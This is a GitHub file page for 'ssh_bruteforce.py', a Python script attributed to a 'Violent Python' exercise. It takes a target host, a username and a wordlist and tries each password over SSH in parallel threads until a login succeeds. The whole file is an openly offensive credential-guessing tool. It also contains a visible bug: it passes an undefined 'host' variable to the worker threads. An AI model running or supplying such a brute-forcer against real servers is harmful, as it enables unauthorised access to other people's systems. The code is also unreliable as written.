-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathssh_bruteforce.py
68 lines (50 loc) · 1.61 KB
/
ssh_bruteforce.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#
#
# SSH brutforce cracker, based on project from 'Violent Python'
# by TJ O'Connor
#
from pexpect import pxssh
import time
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value = maxConnections)
Found = False
Fails = 0
def conn(host, user, password, release):
global Found
global Fails
try:
s = pxssh.pxssh()
s.login(host, user, password)
print ("Password found !!!: " + password)
Found = True
except Exception as e:
if "read_nonblocking" in str(e):
Fails += 1
time.sleep(5)
conn(host, user, password, False)
elif 'synchronize with original prompt' in str(e):
time.sleep(5)
conn(host, user, password, False)
finally:
if release: connection_lock.release()
def main():
target_host = input("Specify target host: ")
password_file = input("Specify password_file: ")
user = input("Specify user: ")
if target_host == None or password_file == None or user == None:
print ("Please provide password file, target host and username")
exit(0)
fn = open(password_file, 'r')
for line in fn.readlines():
if Found:
print ("Password Found !!! Exiting...")
exit(0)
if Fails > 5:
print ("Too many socket timeouts. Exiting...")
exit(0)
connection_lock.acquire()
password = line.strip('\r').strip('\n')
print ("[---] Testing: " + str(password))
t = Thread(target = conn, args = (host, user, password, True))
child = t.start()